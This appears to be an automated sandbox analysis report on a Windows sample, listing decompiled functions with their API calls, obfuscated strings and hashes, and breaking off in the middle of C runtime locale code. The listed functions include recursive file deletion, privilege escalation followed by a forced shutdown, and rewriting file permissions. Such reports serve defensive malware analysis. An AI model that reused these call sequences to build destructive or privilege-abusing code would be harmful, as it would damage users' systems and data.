q, xrefs: 00409423
O, xrefs: 0040951D
u, xrefs: 004093B3

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Process$Token$CloseHandle$Heap$InformationOpen$BlockCreateEnvironmentFree$AllocAllocateDestroyDuplicateInitializeLengthSessionUser
String ID: $ $#$#$&$&$&$($($($($($)$,$-$.$0$0$0$0$1$1$2$3$3$3$3$3$4$4$4$4$4$6$6$6$7$7$7$7$7$8$8$8$8$;$@$@$B$C$C$C$C$C$C$C$C$CCbkTy$CCbkTy$D$E$F$F$F$F$F$F$F$F$G$J$J$J3F8z$L$L$O$O$W$W$W$^$_$a$aC2aIg$bW56e7$c$cgyjpa$d4a0lF$e$l$p$p$q$q$q$q$q$q$q$r$rCOqeu$u$u$u$u$u$z
API String ID: 506702431-3212212250
Opcode ID: 9e210d0c6286e56b4277d109e099324d80575b4164910c0bea2e59f541708870
Instruction ID: f0db7caa941de9ec863395c867929dd109b4d35b86705ba5578df0d5473bead2
Opcode Fuzzy Hash: 9e210d0c6286e56b4277d109e099324d80575b4164910c0bea2e59f541708870
Instruction Fuzzy Hash: 2972F1709082D8DAEB21C768C9587DEBFB15B16308F0440D9D5897B2C2C7BA1F89DF66

Function 004124A0, Relevance: 208.6, APIs: 11, Strings: 108, Instructions: 400librarysleeploader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000104,00000068,00000000), ref: 004126FA
GetShortPathNameW.KERNEL32 ref: 00412710
wsprintfW.USER32 ref: 00412829
CoInitializeEx.OLE32(00000000,00000006), ref: 0041292E
LoadLibraryA.KERNEL32(00000000), ref: 00412AA0
GetProcAddress.KERNEL32(00000000), ref: 00412AA7
GetForegroundWindow.USER32 ref: 00412AB3
GetLastError.KERNEL32 ref: 00412AD4
Sleep.KERNEL32(00000064), ref: 00412AF0
CoUninitialize.OLE32 ref: 00412AFF
CloseHandle.KERNEL32(?), ref: 00412B16

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

N, xrefs: 00412647
5, xrefs: 0041272B
3, xrefs: 00412752
W, xrefs: 00412A02
4, xrefs: 00412608
0, xrefs: 0041277E
0, xrefs: 0041274E
[, xrefs: 00412948
k, xrefs: 0041271D
g, xrefs: 0041273A
j, xrefs: 004125A6
X, xrefs: 00412958
0, xrefs: 00412796
;, xrefs: 004129D6
h, xrefs: 00412960
,eA4, xrefs: 0041270C, 0041270F
5, xrefs: 0041275E
Q, xrefs: 00412855
R, xrefs: 00412845
C, xrefs: 00412513
6, xrefs: 00412598
Q, xrefs: 0041277A
5, xrefs: 00412746
x, xrefs: 00412865
Q, xrefs: 0041286D
Gkd5t0, xrefs: 004127F6
k, xrefs: 0041273E
b, xrefs: 0041256E
', xrefs: 00412934
k, xrefs: 00412756
*, xrefs: 004129F2
6, xrefs: 00412552
k, xrefs: 0041276E
G, xrefs: 00412505
F, xrefs: 0041278A
4, xrefs: 00412782
b64je, xrefs: 004126C9
6, xrefs: 0041266A
b, xrefs: 004125B4
3, xrefs: 0041276A
b, xrefs: 004125FA
e, xrefs: 00412616
b, xrefs: 00412A12
j, xrefs: 00412632
j, xrefs: 0041251A
%, xrefs: 00412841
>, xrefs: 00412954
+, xrefs: 0041295C
4, xrefs: 004126A4
;, xrefs: 00412938
7, xrefs: 00412A0A
5, xrefs: 0041278E
0, xrefs: 00412736
@, xrefs: 00412920
!, xrefs: 00412851
g, xrefs: 00412716
6, xrefs: 00412859
', xrefs: 004129DA
j, xrefs: 004125EC
e, xrefs: 0041265C
G, xrefs: 0041259F
6, xrefs: 004125DE
6, xrefs: 00412624
U, xrefs: 00412601
O, xrefs: 00412869
t, xrefs: 00412792
b, xrefs: 00412528
F, xrefs: 0041294C
x, xrefs: 00412940
F, xrefs: 00412742
], xrefs: 00412950
WRixOQ, xrefs: 004128CA
S, xrefs: 004125BB
4, xrefs: 004125C2
X, xrefs: 0041252F
K, xrefs: 00412724
d, xrefs: 00412A0E
P, xrefs: 004129F6
4, xrefs: 0041264E
-, xrefs: 00412A06
9, xrefs: 004125F3
F, xrefs: 00412559
e, xrefs: 0041258A
R, xrefs: 0041285D
w, xrefs: 004129EA
j, xrefs: 00412575
e, xrefs: 004125D0
x, xrefs: 0041284D
Q, xrefs: 004125D7
4, xrefs: 00412536
@, xrefs: 00412567
", xrefs: 004129FE
6, xrefs: 0041250C
:, xrefs: 004129E6
tsZ4Gh, xrefs: 004129BD
V, xrefs: 004129DE
b, xrefs: 00412663
D, xrefs: 00412772
j, xrefs: 00412560
b, xrefs: 00412640
<, xrefs: 004128E3
4, xrefs: 0041257C
k, xrefs: 00412786
0, xrefs: 00412766
e, xrefs: 00412544
,eA4, xrefs: 004127C8, 004127FE, 004127EB, 004127E0
5, xrefs: 00412776
hO3bV2, xrefs: 00412A6F

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AddressAllocCloseEnvironmentErrorExpandForegroundFreeHandleInitializeLastLibraryLoadNamePathProcShortSleepStringsUninitializeWindowwsprintf
String ID: !$"$%$'$'$*$+$,eA4$,eA4$-$0$0$0$0$0$3$3$4$4$4$4$4$4$4$5$5$5$5$5$6$6$6$6$6$6$6$7$9$:$;$;$<$>$@$@$C$D$F$F$F$F$G$G$Gkd5t0$K$N$O$P$Q$Q$Q$Q$R$R$S$U$V$W$WRixOQ$X$X$[$]$b$b$b$b$b$b$b$b64je$d$e$e$e$e$e$g$g$h$hO3bV2$j$j$j$j$j$j$k$k$k$k$k$t$tsZ4Gh$w$x$x$x
API String ID: 1997963387-126867382
Opcode ID: c597fdbf8c8fa2efa7caa4130dbb7de5d10f27bd06f96c5751e9a2b0e3c0e93f
Instruction ID: d5822d074f8d280a006bcae75ad5834464153e377789c815e5e1c167d1d418e1
Opcode Fuzzy Hash: c597fdbf8c8fa2efa7caa4130dbb7de5d10f27bd06f96c5751e9a2b0e3c0e93f
Instruction Fuzzy Hash: F422F1309082D8C9EF12C768C9587DEBFB55F26308F4440D9D1897B2C2C7BA1A99CF66

Function 00403590, Relevance: 79.1, APIs: 33, Strings: 12, Instructions: 316memorystringfile

APIs

Part of subcall function 00402F40: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00402F5C
Part of subcall function 00402F40: GetProcessHeap.KERNEL32(00000008,00000008), ref: 00402F75
Part of subcall function 00402F40: HeapAlloc.KERNEL32(00000000), ref: 00402F7C
Part of subcall function 00402F40: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000), ref: 00402FA5
Part of subcall function 00402F40: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402FB5
Part of subcall function 00402F40: HeapFree.KERNEL32(00000000), ref: 00402FBC

lstrlenW.KERNEL32(00000000), ref: 004035D9
GetProcessHeap.KERNEL32(00000008,00000208), ref: 004035E9
HeapAlloc.KERNEL32(00000000), ref: 004035F0
GetProcessHeap.KERNEL32(00000008,00000028), ref: 0040360E
HeapAlloc.KERNEL32(00000000), ref: 00403615
GetProcessHeap.KERNEL32(00000008,00000250), ref: 00403630
HeapAlloc.KERNEL32(00000000), ref: 00403637
lstrcpyW.KERNEL32(00000000,00000000), ref: 00403653

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

lstrcatW.KERNEL32 ref: 004036DE
lstrcpyW.KERNEL32(00000000,00000000), ref: 004036EC
lstrcatW.KERNEL32 ref: 0040378F
FindFirstFileW.KERNEL32(00000000,00000000), ref: 0040379D
lstrlenW.KERNEL32(-0000002C), ref: 004037F0
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00403814
HeapFree.KERNEL32(00000000), ref: 0040381B
GetProcessHeap.KERNEL32(00000008,?), ref: 00403829
HeapAlloc.KERNEL32(00000000), ref: 00403830
lstrcpyW.KERNEL32(00000000,00000000), ref: 00403859
lstrcatW.KERNEL32 ref: 0040386C
lstrcatW.KERNEL32 ref: 0040388C
RemoveDirectoryW.KERNEL32(00000000), ref: 004038C1
GetLastError.KERNEL32 ref: 004038D1
DeleteFileW.KERNEL32(00000000), ref: 004038E6
GetLastError.KERNEL32 ref: 004038F6
FindNextFileW.KERNEL32(000000FF,00000000), ref: 00403909

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040393B
HeapFree.KERNEL32(00000000), ref: 00403942
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00403954
HeapFree.KERNEL32(00000000), ref: 0040395B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040396D
HeapFree.KERNEL32(00000000), ref: 00403974
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00403986
HeapFree.KERNEL32(00000000), ref: 0040398D

Strings

k, xrefs: 004036FE
w, xrefs: 00403706
1, xrefs: 0040370E
O, xrefs: 00403702
Y, xrefs: 0040370A
ykiHU, xrefs: 004036BB
%kiH, xrefs: 004036AB, 004036C2
a, xrefs: 00403716
k, xrefs: 00403712
ws1ka, xrefs: 0040376C
s, xrefs: 004036F6
+, xrefs: 004036F2

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Free$Alloc$lstrcat$Filelstrcpy$EnvironmentErrorExpandFindLastStringslstrlen$DeleteDirectoryFirstNextRemove
String ID: %kiH$+$1$O$Y$a$k$k$s$w$ws1ka$ykiHU
API String ID: 1862447818-3499345450
Opcode ID: daf01cd4d3cec995d0f947f6a157732da1dc20804804a8ff6eaa67d86ffae4f4
Instruction ID: 65d421e1438f2c9de4cbe47dc80319eb46a1376f1c8e226f35a7f016b068c82e
Opcode Fuzzy Hash: daf01cd4d3cec995d0f947f6a157732da1dc20804804a8ff6eaa67d86ffae4f4
Instruction Fuzzy Hash: 04D14EB0D44248EFDB04DFA4D888BEEBBB9AF05305F108469E502B72D1C7B95A45CF69

Function 0040D500, Relevance: 38.8, APIs: 11, Strings: 11, Instructions: 279com

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

CoInitialize.OLE32(00000000), ref: 0040D5CC
CoCreateInstance.OLE32(0041C330,00000000,00000001,0041C340,00000000), ref: 0040D5F1
StrStrIW.SHLWAPI(00000000,0066FAB0), ref: 0040D6F7
StrStrIW.SHLWAPI(00000000,00000000), ref: 0040D73E
StrStrIW.SHLWAPI(00000000,00000000), ref: 0040D7E3
StrCpyNW.SHLWAPI(?,00000000,-00000002), ref: 0040D809

Part of subcall function 0041A3F0: GetFileAttributesW.KERNELBASE(0041AE21,?,?,0041AE21,00000000), ref: 0041A3F8

CoTaskMemFree.OLE32(00000000), ref: 0040D83B
CoTaskMemFree.OLE32(00000000), ref: 0040D845
CoTaskMemFree.OLE32(?), ref: 0040D85D
CoTaskMemFree.OLE32(00000000), ref: 0040D86C
CoUninitialize.OLE32 ref: 0040D893

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

ea98Gb, xrefs: 0040D5B4
a, xrefs: 0040D54A
8, xrefs: 0040D552
G, xrefs: 0040D546
G, xrefs: 0040D556
8, xrefs: 0040D53A
b, xrefs: 0040D542
a, xrefs: 0040D532
b, xrefs: 0040D55A
U, xrefs: 0040D536
+, xrefs: 0040D53E

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Free$HeapTask$Process$AllocAttributesCreateFileInitializeInstanceUninitialize
String ID: +$8$8$G$G$U$a$a$b$b$ea98Gb
API String ID: 3130438921-772173114
Opcode ID: 17e951000b794d1dafbedea12112fd0ab0aa17685500b96dc056e777fc11a25a
Instruction ID: 216da9145b8df7b309cd940620cb135e6260f69faec4f659d3cf7d79cba79ec3
Opcode Fuzzy Hash: 17e951000b794d1dafbedea12112fd0ab0aa17685500b96dc056e777fc11a25a
Instruction Fuzzy Hash: 3FC11A71E00249DFDB04DFD8C888BEEBBB5AF48304F1481A9E515B7291C7799A85CB64

Function 0041AF10, Relevance: 29.8, APIs: 6, Strings: 11, Instructions: 98shutdown

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetCurrentProcess.KERNEL32(00000028,?,00000014), ref: 0041AFD5
OpenProcessToken.ADVAPI32(00000000), ref: 0041AFDC
LookupPrivilegeValueA.ADVAPI32(00000000,00000000,?), ref: 0041AFFA
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 0041B027
ExitWindowsEx.USER32(00000006,00000000), ref: 0041B031
ExitWindowsEx.USER32(00000004,00000000), ref: 0041B03F

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

MaS1o, xrefs: 0041AFB9
!, xrefs: 0041AF53
F, xrefs: 0041AF37
:, xrefs: 0041AF47
4, xrefs: 0041AF5B
o, xrefs: 0041AF63
G, xrefs: 0041AF4B
Y, xrefs: 0041AF23
9, xrefs: 0041AF2B
<, xrefs: 0041AF33
T, xrefs: 0041AF5F

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: HeapProcess$ExitTokenWindows$AdjustAllocCurrentFreeLookupOpenPrivilegePrivilegesValue
String ID: !$4$9$:$<$F$G$MaS1o$T$Y$o
API String ID: 1756344125-1967835602
Opcode ID: d658a809bc4528fb09b36544e60c4a337fd7be8d34535c4d8cc267886130a8a4
Instruction ID: b1c8a2165c8835ff4ca158da55146245ea2fb1ca5326154a1aff00c88e5394a6
Opcode Fuzzy Hash: d658a809bc4528fb09b36544e60c4a337fd7be8d34535c4d8cc267886130a8a4
Instruction Fuzzy Hash: D64186709442C8EAEB01C7E8D949BDEBFB55F15308F144099E5417B2C2C7FA1A49C77A

Function 00403450, Relevance: 13.6, APIs: 9, Instructions: 96memory

APIs

AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00429394), ref: 00403497
SetEntriesInAclW.ADVAPI32(00000001,FFFFFFFF,00000000,00000000), ref: 00403514
LocalAlloc.KERNEL32(00000040,00000014), ref: 0040351E
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 0040352D
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 0040353F
SetFileSecurityW.ADVAPI32(00000000,00000004,00000000), ref: 0040354F
FreeSid.ADVAPI32(00000000), ref: 0040355F
LocalFree.KERNEL32(00000000), ref: 0040356F
LocalFree.KERNEL32(00000000), ref: 0040357F

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: FreeLocalSecurity$DescriptorInitialize$AllocAllocateDaclEntriesFile
String ID:
API String ID: 500117401-0
Opcode ID: 7184cfcb7eb45c44f342e3b9380d919955226887e671df8d4065f33480dbd09b
Instruction ID: d49cb134ba51e44c474105216e7495db5bbf9a2696484014e41148f81ba54394
Opcode Fuzzy Hash: 7184cfcb7eb45c44f342e3b9380d919955226887e671df8d4065f33480dbd09b
Instruction Fuzzy Hash: C1311271A40208EBEB04CFE4D959BEEBFB9EB44305F108169E6016B2D1C7B59A44CB94

Function 004047B0, Relevance: 10.6, APIs: 7, Instructions: 80

APIs

LookupPrivilegeValueA.ADVAPI32(00000000,00000017,00000000), ref: 004047CD
AdjustTokenPrivileges.ADVAPI32(00000000,00000000,00000001,00000010,00000000,00000000), ref: 00404814
GetCurrentProcess.KERNEL32(00000028,00000000,?,?,00409AFA,00000000), ref: 00404828
OpenProcessToken.ADVAPI32(00000000,?,?,00409AFA,00000000), ref: 0040482F
LookupPrivilegeValueA.ADVAPI32(00000000,00000017,00000000), ref: 00404848
AdjustTokenPrivileges.ADVAPI32(00000000,00000000,00000001,00000010,00000000,00000000), ref: 0040488F
CloseHandle.KERNEL32(00000000), ref: 0040489C

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Token$AdjustLookupPrivilegePrivilegesProcessValue$CloseCurrentHandleOpen
String ID:
API String ID: 4275448469-0
Opcode ID: 2d899b3fc34b3957a3947daf2f2d0613b5539645aee4703549039c6ac1f4d20a
Instruction ID: 2b6c6e137fda59161698efe40c4650eb1a9133198cfe0705926c8322bd0a2a7e
Opcode Fuzzy Hash: 2d899b3fc34b3957a3947daf2f2d0613b5539645aee4703549039c6ac1f4d20a
Instruction Fuzzy Hash: 21312D75A40208EBEB14DFD4DD49FEE7BB9EB48700F10C529FA059B2C0D7B4AA048B54

Function 00431D72, Relevance: 9.2, APIs: 6, Instructions: 169

APIs

_TranslateName.LIBC ref: 00431DB3

Part of subcall function 00431D36: _GetPrimaryLen.LIBCMT ref: 00431D52
Part of subcall function 00431D36: EnumSystemLocalesA.KERNEL32(Function_00004BE6,00000001), ref: 00431D61

_TranslateName.LIBC ref: 00431DEB

Part of subcall function 00431CD1: _GetPrimaryLen.LIBCMT ref: 00431D09
Part of subcall function 00431CD1: EnumSystemLocalesA.KERNEL32(Function_00004A16,00000001), ref: 00431D18

EnumSystemLocalesA.KERNEL32(Function_0000490E,00000001), ref: 00431E32
GetUserDefaultLCID.KERNEL32 ref: 00431E4A

Part of subcall function 0043182C: GetLocaleInfoA.KERNEL32(00001004,00001004,?,00000008), ref: 00431882

IsValidCodePage.KERNEL32(00000000), ref: 00431E9A
IsValidLocale.KERNEL32(?,00000001), ref: 00431EAD

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: EnumLocalesSystem$LocaleNamePrimaryTranslateValid$CodeDefaultInfoPageUser
String ID:
API String ID: 1504357253-0
Opcode ID: 61ba4ddb871e57658f07b80d9ed66cdb78583f2cd7ab57d9f2138bb9b502a2a2
Instruction ID: cf63af3ec27a55c2c4e6fc0375e66cdcffa53ded8d3c1566347dd70e91c4d8da
Opcode Fuzzy Hash: 61ba4ddb871e57658f07b80d9ed66cdb78583f2cd7ab57d9f2138bb9b502a2a2
Instruction Fuzzy Hash: 165108716003029BD730AF228C82B2777A59F0C700F14682FE946872B1EB7DE855D72E

Function 0042E6DE, Relevance: 9.1, APIs: 6, Instructions: 127

C-Code - Quality: 65%

			E0042E6DE(void* __ecx, signed int __edx, intOrPtr* _a4, int _a8, int _a12, char* _a16, int _a20, int _a24) {
				signed int _v8;
				int _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				intOrPtr _t30;
				int _t31;
				short* _t34;
				signed int _t37;
				void* _t39;
				short* _t40;
				long _t46;
				void* _t48;
				void* _t49;
				signed int _t53;
				signed int _t56;
				void* _t61;
				short* _t62;
				intOrPtr* _t63;
				int _t65;
				void* _t66;
				signed int _t67;
				intOrPtr* _t68;

				_t56 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t28 =  *0x43edf8; // 0xbb40e64e
				_v8 = _t28 ^ _t67;
				_t30 =  *0x43f6b4; // 0x0
				_t48 = GetLocaleInfoW;
				_t65 = 0;
				if(_t30 != 0) {
					L6:
					__eflags = _t30 - 2;
					if(_t30 == 2) {
						L29:
						_t31 = GetLocaleInfoA(_a8, _a12, _a16, _a20);
						L30:
						_pop(_t61);
						_pop(_t66);
						_pop(_t49);
						return E0042DBBB(_t31, _t49, _v8 ^ _t67, _t56, _t61, _t66);
					}
					__eflags = _t30 - _t65;
					if(_t30 == _t65) {
						goto L29;
					}
					__eflags = _t30 - 1;
					if(__eflags != 0) {
						L12:
						_t31 = 0;
						goto L30;
					}
					L9:
					if(_a24 == _t65) {
						_a24 =  *((intOrPtr*)( *_a4 + 4));
					}
					_t53 = GetLocaleInfoW(_a8, _a12, _t65, _t65);
					_v12 = _t53;
					if(_t53 != _t65) {
						if(__eflags <= 0) {
							L21:
							_t62 = 0;
							__eflags = 0;
							L22:
							__eflags = _t62 - _t65;
							if(_t62 == _t65) {
								goto L12;
							}
							_t34 = GetLocaleInfoW(_a8, _a12, _t62, _v12);
							__eflags = _t34;
							if(_t34 != 0) {
								__eflags = _a20 - _t65;
								_push(_t65);
								_push(_t65);
								if(_a20 != _t65) {
									_push(_a20);
									_push(_a16);
								} else {
									_push(_t65);
									_push(_t65);
								}
								_t65 = WideCharToMultiByte(_a24, _t65, _t62, 0xffffffff, ??, ??, ??, ??);
							}
							E0042E54D(_t62);
							_t31 = _t65;
							goto L30;
						}
						_t37 = 0xffffffe0;
						_t56 = _t37 % _t53;
						__eflags = _t37 / _t53 - 2;
						if(_t37 / _t53 < 2) {
							goto L21;
						}
						_t14 = _t53 + 8; // 0x8
						_t39 = _t53 + _t14;
						__eflags = _t39 - 0x400;
						if(_t39 > 0x400) {
							_t40 = E0042EF11(_t48, _t56, 1, _t65, _t39);
							__eflags = _t40 - _t65;
							if(_t40 != _t65) {
								 *_t40 = 0xdddd;
								_t40 =  &(_t40[4]);
								__eflags = _t40;
							}
							_t62 = _t40;
							goto L22;
						}
						E004353C0(_t39);
						_t63 = _t68;
						__eflags = _t63 - _t65;
						if(_t63 == _t65) {
							goto L12;
						}
						 *_t63 = 0xcccc;
						_t62 = _t63 + 8;
						goto L22;
					} else {
						goto L12;
					}
				}
				if(GetLocaleInfoW(0, 1, 0, 0) == 0) {
					_t46 = GetLastError();
					__eflags = _t46 - 0x78;
					if(_t46 != 0x78) {
						_t30 =  *0x43f6b4; // 0x0
					} else {
						_t30 = 2;
						 *0x43f6b4 = _t30;
					}
					goto L6;
				}
				 *0x43f6b4 = 1;
				goto L9;
			}

0x0042e6de
0x0042e6e1
0x0042e6e2
0x0042e6e3
0x0042e6ea
0x0042e6ed
0x0042e6f3
0x0042e6fd
0x0042e702
0x0042e730
0x0042e730
0x0042e733
0x0042e7f7
0x0042e803
0x0042e809
0x0042e80c
0x0042e80d
0x0042e80e
0x0042e81a
0x0042e81a
0x0042e739
0x0042e73b
0x00000000
0x00000000
0x0042e741
0x0042e743
0x0042e768
0x0042e768
0x00000000
0x0042e768
0x0042e745
0x0042e748
0x0042e752
0x0042e752
0x0042e75f
0x0042e763
0x0042e766
0x0042e76f
0x0042e7b6
0x0042e7b6
0x0042e7b6
0x0042e7b8
0x0042e7b8
0x0042e7ba
0x00000000
0x00000000
0x0042e7c6
0x0042e7c8
0x0042e7ca
0x0042e7cc
0x0042e7cf
0x0042e7d0
0x0042e7d1
0x0042e7d7
0x0042e7da
0x0042e7d3
0x0042e7d3
0x0042e7d4
0x0042e7d4
0x0042e7ea
0x0042e7ea
0x0042e7ed
0x0042e7f3
0x00000000
0x0042e7f3
0x0042e775
0x0042e776
0x0042e778
0x0042e77b
0x00000000
0x00000000
0x0042e77d
0x0042e77d
0x0042e781
0x0042e786
0x0042e79f
0x0042e7a4
0x0042e7a7
0x0042e7a9
0x0042e7af
0x0042e7af
0x0042e7af
0x0042e7b2
0x00000000
0x0042e7b2
0x0042e788
0x0042e78d
0x0042e78f
0x0042e791
0x00000000
0x00000000
0x0042e793
0x0042e799
0x00000000
0x00000000
0x00000000
0x00000000
0x0042e766
0x0042e70c
0x0042e716
0x0042e71c
0x0042e71f
0x0042e72b
0x0042e721
0x0042e723
0x0042e724
0x0042e724
0x00000000
0x0042e71f
0x0042e70e
0x00000000

APIs

GetLocaleInfoW.KERNEL32(00000000,00000001,00000000,00000000), ref: 0042E708
GetLastError.KERNEL32 ref: 0042E716
GetLocaleInfoW.KERNEL32(?,?,00000000,00000000), ref: 0042E75D

Part of subcall function 0042EF11: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,0042B5CA,?,00000001,?,00429892,00000018,0043AD50,0000000C,00429921,?), ref: 0042EF89

GetLocaleInfoW.KERNEL32(?,?,00000000,?), ref: 0042E7C6
WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,?,?,00000000,00000000), ref: 0042E7E4
GetLocaleInfoA.KERNEL32(?,?,?,?), ref: 0042E803

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32 ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: InfoLocale$ExceptionFilterProcessUnhandled$AllocByteCharCurrentDebuggerErrorHeapLastMultiPresentTerminateWide
String ID:
API String ID: 1272433821-0
Opcode ID: 21bf6f7a99d47badc070702acfaceaa59416521e712ef77595e9d30cc839ac9b
Instruction ID: 6615d2d137f2c1029600ff0af5fc59a3f1b0dc355a3dcfc1386abcbc7fe50414
Opcode Fuzzy Hash: 21bf6f7a99d47badc070702acfaceaa59416521e712ef77595e9d30cc839ac9b
Instruction Fuzzy Hash: 60418431700135AB9F219F57EC85CAF7BA5EB99760BA0042BF505D2250D6348C51DBA9

Function 0042E568, Relevance: 9.1, APIs: 6, Instructions: 127

C-Code - Quality: 74%

			E0042E568(void* __ecx, signed int __edx, intOrPtr* _a4, int _a8, int _a12, short* _a16, int _a20, int _a24) {
				signed int _v8;
				int _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				char* _t30;
				int _t32;
				char* _t34;
				signed int _t38;
				void* _t40;
				char* _t41;
				long _t47;
				int _t49;
				void* _t50;
				signed int _t58;
				void* _t63;
				void* _t65;
				char* _t66;
				void* _t67;
				char* _t68;
				signed int _t69;
				char* _t70;

				_t58 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t28 =  *0x43edf8; // 0xbb40e64e
				_v8 = _t28 ^ _t69;
				_t30 =  *0x43f6b0; // 0x0
				_t65 = GetLocaleInfoW;
				if(_t30 != 0) {
					L6:
					__eflags = _t30 - 1;
					if(_t30 != 1) {
						__eflags = _t30 - 2;
						if(_t30 == 2) {
							L10:
							__eflags = _a24;
							_v12 = 0;
							if(_a24 == 0) {
								_a24 =  *((intOrPtr*)( *_a4 + 4));
							}
							_t49 = GetLocaleInfoA(_a8, _a12, 0, 0);
							__eflags = _t49;
							if(__eflags != 0) {
								if(__eflags <= 0) {
									L22:
									_t66 = 0;
									__eflags = 0;
									L23:
									__eflags = _t66;
									if(_t66 == 0) {
										goto L13;
									}
									_t34 = GetLocaleInfoA(_a8, _a12, _t66, _t49);
									__eflags = _t34;
									if(_t34 != 0) {
										__eflags = _a20;
										if(_a20 != 0) {
											_push(_a20);
											_push(_a16);
										} else {
											_push(0);
											_push(0);
										}
